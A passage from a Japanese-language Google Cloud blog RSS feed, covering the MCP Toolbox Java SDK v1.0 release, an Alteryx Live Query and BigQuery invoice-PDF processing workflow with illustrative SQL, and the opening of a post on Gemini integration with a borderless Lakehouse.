&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;公式ドキュメント&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;:&lt;/span&gt;&lt;a href="https://mcp-toolbox.dev/" rel="noopener" target="_blank"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;MCP Toolbox for Databases（データベース向け MCP ツールボックス）&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;デモ アプリケーション&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;:「MCP ツールボックス」Java SDK V1.0 の最新版を体験するには、サンプル アプリケーションである &lt;/span&gt;&lt;a href="https://github.com/googleapis/mcp-toolbox-sdk-java/tree/main/demo-applications/cymbal-transit" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Cymbal Transit プロジェクト&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;をお試しください。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Gradle の実装&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;チームが Maven ではなく Gradle を使用している場合は、この依存関係を書き換える必要がある点にご注意ください。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;quot;implementation &amp;#x27;com.google.cloud.mcp:mcp-toolbox-sdk-java:1.0.0&amp;#x27;&amp;quot;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fac24a70a90&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;バージョンの自動追跡&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;この設定を自動化された内部リポジトリにコピーする場合は、XML コメント &amp;lt;!-- {x-version-update...} --&amp;gt; はそのままにします。これは、リリース マネージャーのデプロイ スクリプトがバージョンを自動的に更新するために必要です。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;最新のエージェント ツールとサーバーを、安定した「MCP ツールボックス」Java SDK を使用してエンタープライズ Java アプリケーションに統合できるようになりました。今すぐお試しください。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;- &lt;/strong&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;Google、スタッフ デベロッパー アドボケイト&lt;/span&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt; Abirami Sukumaran&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;共同執筆者:&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;- Google、戦略的クラウド エンジニア &lt;/span&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;Stenal Jolly&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;- Google、ソフトウェア エンジニア &lt;/span&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;Anubhav Dhawan&lt;/strong&gt;&lt;/p&gt;&lt;/div&gt;</description><pubDate>Fri, 23 Oct 2026 02:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/ja/topics/developers-practitioners/announcing-mcp-toolbox-java-sdk-v10-agentic-data-access-for-the-enterprise/</guid><category>Developers &amp; Practitioners</category><media:content height="540" url="https://storage.googleapis.com/gweb-cloudblog-publish/images/announcing-mcp-toolbox-java-sdk-v10-agentic-.max-600x600.png" width="540"></media:content><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>「MCP ツールボックス」Java SDK v1.0 のご紹介: 企業向けのエージェント型データアクセス</title><description></description><image>https://storage.googleapis.com/gweb-cloudblog-publish/images/announcing-mcp-toolbox-java-sdk-v10-agentic-.max-600x600.png</image><site_name>Google</site_name><url>https://cloud.google.com/blog/ja/topics/developers-practitioners/announcing-mcp-toolbox-java-sdk-v10-agentic-data-access-for-the-enterprise/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Abirami Sukumaran</name><title>Staff Developer Advocate, Google</title><department></department><company></company></author></item><item><title>非構造化データ ワークフローのモダナイズ: Alteryx Live Query と Google Cloud BigQuery の連携</title><link>https://cloud.google.com/blog/ja/products/data-analytics/modernize-unstructured-data-workloads-with-alteryx-and-bigquery/</link><description>&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;※この投稿は米国時間 2026 年 10 月 10 日に、Google Cloud blog に&lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/data-analytics/modernize-unstructured-data-workloads-with-alteryx-and-bigquery?e=48754805&amp;amp;hl=en"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;投稿&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;されたものの抄訳です。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Alteryx One Live Query と Google Cloud BigQuery は、分断されたツールへの依存を減らし、データの移動を最小限に抑え、ウェアハウス ネイティブの実行を可能にすることで、企業が複雑な非構造化データを大規模に処理する方法を一新します。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Live Query は、ビジネス ユーザーがコードを 1 行も記述することなく高度なデータ パイプラインを構築できる、直感的なブラウザベースの環境を提供します。BigQuery のスケールとパフォーマンスを組み合わせることで、安全な SQL プッシュダウンが可能になります。つまり、データ変換ロジックは、ネットワーク経由でデータを移動させることなく、ウェアハウス内で直接実行されます。この相乗効果は、ドキュメントを多用するワークフローで特に威力を発揮します。Live Query は、BigQuery 環境の厳格なデータ ガバナンスとセキュリティを維持しながら、Gemini などの Google の高度な AI および ML モデルをオーケストレートして、PDF や画像から情報を抽出できます。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;請求書 PDF の処理から、Live Query を使用した BigQuery での例外レポート管理まで&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;財務チームやオペレーション チームは、ベンダーからの請求書の山に埋もれてしまうことがよくあります。これらのドキュメントは PDF 形式で届きますが、データに一貫性がなく、請求書番号の形式もさまざまであるため、手作業によるエラーが発生するリスクが高くなっています。従来、データチームは手動でデータを抽出するか、分断された複数のツールを使用してデータをウェアハウスに移す必要がありました。このプロセスには、時間がかかるだけでなく、データの重複や金額の不一致が発生しやすいという問題がありました。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Live Query for BigQuery&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; のインテグレーションにより、請求書のライフサイクル全体を自動化できるようになりました。データチームは、BigQuery エコシステム内で直接、PDF の処理、主要なフィールドの抽出、結果の標準化を行うことにより、ドキュメント内の異常やデータの問題といった例外をより迅速に特定できると同時に、BigQuery のきめ細かなアクセス ポリシーに基づいて構成、ガバナンス管理された企業データを、ウェアハウスの外部に転送する必要がなくなります。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;ソリューションの概要: 抽出、分類、検証、ルーティング、計上&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Live Query ソリューションの仕組みについて、さらに詳しく見ていきましょう。請求書 PDF は、非構造化ドキュメントとして Google Cloud Storage に届きます。Live Query ワークフローでは、ドキュメント抽出ツールが、ユーザーが選択したモデル（Gemini や Document AI など）を使用して構造化フィールドを抽出します。その後、結果は信頼性の高い照合が行えるよう標準化され、BigQuery にすでに格納、ガバナンス管理されている請求書の履歴レコードと照合されます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;この自動化されたワークフローは、手作業による介入を最小限に抑えながら、ドキュメントから意思決定へとスムーズに至れるよう設計されています。エンタープライズ規模では、このパターンは少数の PDF を処理するだけにとどまりません。照合ロジックを BigQuery と整合させながら、数百万件もの非構造化ドキュメントに対する分析や AI 活用を可能にします。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;AI を活用した抽出と BigQuery ネイティブの実行を組み合わせることで、このソリューションは以下を実現します。&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;ストレート スルー処理の向上&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: 手作業を減らし、より多くの請求書を自動的に処理できるようにします。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;照合の迅速化と手動例外の削減:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; 抽出した請求書をプロセスの早い段階で BigQuery データと照合することにより、チームは重複や不一致を早期に特定し、手動での確認が必要な請求書の数を減らすことができます。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;監査可能性の強化&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: ソースから最終的な業務出力まで、データの明確な処理履歴を保持します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;データ移動の削減&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: データを BigQuery 内にとどめ、その組み込み機能を活用することで、セキュリティ、ガバナンス、管理機能を強化します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;アーキテクチャ: Google Cloud ネイティブ パターン&lt;/strong&gt;&lt;/h4&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/image1_1k1nSQi_c5ubZpu.max-1000x1000.jpg"
        
          alt="image1"&gt;
        
        &lt;/a&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;大まかに言うと、請求書 PDF は Cloud Storage にステージングされ、ブラウザ上の Live Query ワークフローで処理された後、BigQuery にすでに格納、ガバナンス管理されている請求書履歴と照合され、ファイナンス チームの最終的な業務出力として書き戻されます。このパターンのアーキテクチャ上の主な利点は、ワークフローの作成をブラウザ上で行える一方、変換や照合のロジックは、プラットフォーム サービスを通じて、ガバナンス管理されたデータ環境に対して実行されることです。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Live Query&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; アーキテクチャは、ウェアハウス規模の処理とガバナンス管理された実行を目的として設計されています。安全な SQL プッシュダウンを使用して、変換と照合のロジックを &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;BigQuery&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; 内で直接実行し、&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Gemini &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; と連携することで、ドキュメントの抽出、分類、要約といった高度な AI 機能を実現します。&lt;/span&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Live Query（ブラウザ）:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; ユーザーはブラウザ上でワークフローを視覚的に作成し、ドキュメントの抽出、分類、クレンジング、検証、ルーティングのロジックを構成します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Alteryx One Platform Services:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;変換サービス&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;は、ブラウザ ワークフローとお客様のデータ環境の間におけるリクエスト処理、実行計画、結果取得を調整します。また、これらのサービスにより、ワークフローの実行全体にわたるトレーサビリティとオブザーバビリティが向上し、運用モニタリングと監査可能性の両方が強化されます。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;お客様の Google Cloud&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: 請求書 PDF は &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Google Cloud Storage（GCS）&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;にステージングされ、請求書の履歴データは &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;BigQuery&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; でガバナンス管理された状態で保持されます。AI を活用した抽出はその環境に対して実行され、ワークフローの出力は BigQuery に書き戻されます。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;このパターンでは、ブラウザがオーサリング レイヤ、&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Alteryx One Platform Services&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; が調整レイヤ、&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Google Cloud&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; がガバナンス管理されたデータおよび実行レイヤとなります。この構成により、&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Live Query&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; でワークフロー ロジックを視覚的に作成しながら、&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;BigQuery&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; でガバナンス管理されたデータおよびウェアハウス規模の処理と連携して実行できます。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;Live Query ワークフロー解説: PDF から分析情報まで&lt;/strong&gt;&lt;/h4&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/image2_PTc7471.max-1000x1000.jpg"
        
          alt="image2"&gt;
        
        &lt;/a&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;請求書を例に、Live Query ワークフローが非構造化 PDF をどのように処理するかを詳しく見ていきましょう。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;請求書 PDF を取り込む&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;ワークフローは、未加工の PDF ファイルが格納されている Google Cloud Storage のディレクトリ入力を指定することから始まります。実際には、このステップではフォルダを特定するだけでなく、PDF の場所を列挙し、絶対ファイルパス、サイズ、作成 / 更新タイムスタンプといったファイルレベルのメタデータを返します。これにより、ワークフローは適切なドキュメント セットをダウンストリームの抽出ステップに確実に渡すことができます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;主要なフィールドを抽出する&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;Alteryx の Document Extract ツールを使用して、ワークフローは Google Cloud Storage に格納されている PDF 請求書を処理し、構造化または半構造化された結果を BigQuery 内で直接抽出します。抽出ステップでは、ワークフローの構成に応じて、ユーザーが選択したモデル（Document AI または Gemini AI）が使用されます。このツールは、内部で入力ドキュメントの URI から一時的な外部オブジェクト テーブルを構築し、適切な関数（Document AI モデルの場合は ML.PROCESS_DOCUMENT、Gemini AI モデルの場合は AI.GENERATE）を実行します。このワークフローでは Gemini の処理ルートが使われており、AI.GENERATE がリクエストされた請求書フィールドをダウンストリームの Live Query ワークフローに返します。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;インタラクティブな設計時、Live Query はプレビューのためにドキュメント URI のごく一部のみに処理を制限しますが、ランタイム実行ではすべての請求書 PDF を処理します。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;quot;-- illustrative pattern only\r\nSELECT *\r\nFROM AI.GENERATE(\r\n  MODEL project.dataset.gemini_model,\r\n  (\r\n    SELECT\r\n      uri,\r\n      &amp;#x27;Extract invoice_number, invoice_amount, vendor_name, net_amount, tax_amount, and line_items.&amp;#x27; AS prompt\r\n    FROM project.dataset.temp_invoice_object_table\r\n  )\r\n);&amp;quot;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fac24cb65d0&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;抽出されたデータの内容を分類する&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;抽出後、ワークフローは Alteryx の Classify ツールを使用して、抽出された請求書テキストにゼロショット分類を適用します。このユースケースでは、BigQuery の AI.CLASSIFY を使用して、明細項目の内容を、工業用品や事務用品などの事前定義されたビジネス カテゴリに分類します。これにより、予測ラベルが新しい列としてダウンストリーム ワークフローに返されます。このビジネス コンテキストにより、抽出されたデータは、ダウンストリームでの照合、例外処理、レポート作成においてより有用なものとなります。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;quot;-- illustrative pattern only\r\nSELECT *,\r\n  AI.CLASSIFY(line_item_text, categories =&amp;gt; [&amp;#x27;industrial&amp;#x27;, &amp;#x27;office&amp;#x27;]) AS line_item_classify\r\nFROM upstream&amp;quot;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fac25994e10&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;データを正規化する&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;抽出された請求書番号はクレンジングされ、標準化されます。これにより、空白文字や書式の不一致といった軽微な表記の違いによって照合中に重複の可能性が見落とされることがなくなります。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;履歴と比較する&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;ワークフローは、正規化された現在の請求書レコードを、すでに BigQuery に格納されている請求書の履歴データと結合します。この照合ステップでは、履歴にすでに存在する請求書番号と一致するレコードを特定し、重複の可能性があるものとしてフラグを立てます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;例外にフラグを立てる&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;次に、数式ステップで、残りのレコードにビジネスルール ロジックを適用します。これらのルールはワークフローによって異なり、金額の不一致、必須フィールドの欠落、無効な合計額、その他の財務特有の例外に対するチェックなどが含まれます。この例では、1 つのルールで invoice_amount が net_amount + tax_amount と一致するかどうかを確認し、不一致があれば確認対象としてフラグを立てます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;業務出力を生成する&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;このワークフローでは 2 つの業務出力が生成されます。1 つは、履歴レコードと一致し、重複の可能性があるとしてフラグが立てられた請求書に関するものです。もう 1 つは、履歴と一致しなかった今回の請求書に関するもので、検証と必要に応じて例外のラベル付けが行われ、未払い請求書の処理に回されます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;その結果得られるのは、単に抽出されたデータにとどまらず、ファイナンス チームがすぐに確認して対応できる、ガバナンス管理された業務出力です。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;まとめ: ドキュメントから意思決定まで、ガバナンス管理されたワークフロー&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;私たちの共通のお客様は、ビジネス プロセスの改善に役立つこれらの新機能に大きな期待を寄せています。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;「Alteryx One: Google エディションで特に印象的だったのは、Google Cloud のエクスペリエンスに自然にフィットしている点です。ビジネス ユーザーが直感的でガバナンス管理されたエクスペリエンスを通じて BigQuery データを操作できるようにすることで、分析をより身近なものにする機会が得られることを嬉しく思います。」 - &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Papa Johns、エンタープライズ データおよびコーポレート ソリューション担当バイス プレジデント、Michael Wyant 氏&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;これは、単なる抽出ツールのユースケースにとどまりません。非構造化ドキュメントを実用的な業務出力に変換する、強力な Google Cloud ネイティブ パターンを表しています。このワークフローは、分断された準備ツールにウェアハウス データを移動するのではなく、ストレージ、抽出、照合、出力生成を、BigQuery にすでに格納されているガバナンス管理された企業データと整合させます。Alteryx One Live Query の直感的な設計と BigQuery のスケールおよび AI 機能を組み合わせることで、ファイナンス チームは手作業による負担を減らし、例外処理を迅速化して、より価値の高い戦略的な取り組みに注力できるようになります。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;- &lt;/strong&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;Alteryx、シニア プロダクト マネージャー、&lt;/span&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;Kira Droganova 氏&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;- &lt;/strong&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;Google、データ分析スペシャリスト、&lt;/span&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;Rama Vundela&lt;/strong&gt;&lt;/p&gt;&lt;/div&gt;</description><pubDate>Fri, 23 Oct 2026 01:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/ja/products/data-analytics/modernize-unstructured-data-workloads-with-alteryx-and-bigquery/</guid><category>BigQuery</category><category>Partners</category><category>Data Analytics</category><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>非構造化データ ワークフローのモダナイズ: Alteryx Live Query と Google Cloud BigQuery の連携</title><description></description><site_name>Google</site_name><url>https://cloud.google.com/blog/ja/products/data-analytics/modernize-unstructured-data-workloads-with-alteryx-and-bigquery/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Kira Droganova</name><title>Senior Product Manager, Alteryx</title><department></department><company></company></author><author xmlns:author="http://www.w3.org/2005/Atom"><name>Rama Vundela</name><title>Data Analytics Specialist, Google</title><department></department><company></company></author></item><item><title>Gemini のイノベーションで、ボーダーレス Lakehouse をエージェントの時代へ導く</title><link>https://cloud.google.com/blog/ja/products/data-analytics/borderless-lakehouse-integrates-with-gemini/</link><description>&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;※この投稿は米国時間 2026 年 10 月 16 日に、Google Cloud blog に&lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/data-analytics/borderless-lakehouse-integrates-with-gemini?e=48754805&amp;amp;hl=en"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;投稿&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;されたものの抄訳です。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;企業が AI の利用を試験運用的な chatbot から自律型エージェントへと移行するにつれ、チームは重大なボトルネックに直面しています。それは、複数のクラウド、SaaS プラットフォーム、オンプレミス システムに分散したデータへのアクセスと、そのデータに基づく推論です。AI エージェントを真の「アクション システム」に変えるには、データ移動に伴うセキュリティ リスクを負うことなく、ペタバイト規模の推論を処理できる基盤が必要です。先週開催された &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/ja/products/ai-machine-learning/welcome-to-gemini-at-work-2026"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Gemini at Work&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; イベントでは、Gemini がビジネス ワークフローの変革にどのように役立つかをご紹介しました。皆様がエンタープライズ データを活用してエージェントを強化できるよう、Gemini とボーダーレス Lakehouse の新たな連携について詳しく解説し、データ資産全体にわたって機能するエージェントの構築、保護、スケーリングを支援します。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;Gemini を通じて Google Cloud の外部にあるデータにアクセスする&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;ボーダーレス Lakehouse の真価は、Gemini をフロントドアとして組織を変革するために構築するエージェントを通じて発揮されます。Gemini との新たな連携により、事前構成されたデータやボーダーレス Lakehouse に保存されたデータを、Gemini に直接取り込んで活用できるようになりました。現在プレビュー版として提供されているこの機能により、Gemini から直接、Lakehouse カタログ連携を通じて Databricks Unity Catalog や Snowflake Horizon などの新しいデータソースへのアクセスを設定できるようになります。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;これで、ビジネス ユーザーは自然言語を使ってクラウド全体に分散して存在するレコードをクエリできるようになり、AI エージェントは同じデータを根拠として推論を行い、コードを生成できるようになりました。これらはすべて、データを移動することなく実行できます。ボーダーレス Lakehouse 全体にわたり AI エージェントに直接コンテキストを提供することで、重要な情報へのアクセスを簡素化しながら、組織の AI 導入を加速させることができます。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/original_images/image1_HJqokGb.gif"
        
          alt="image1"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="bhjex"&gt;ビジネス ユーザーが呼び出した Gemini エージェントは、BigQuery と Databricks Unity Catalog に格納されているデータにアクセスし、包括的なレポートを提供するとともに、自然言語を使用して分析情報を取得できます。&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;ボーダーレス Lakehouse の進化&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;このたび、Gemini との新しいネイティブ連携に加えて、ボーダーレス Lakehouse でデータ基盤を強化するために今年初めに導入したいくつかの機能の一般提供が開始されたことをお知らせします。&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
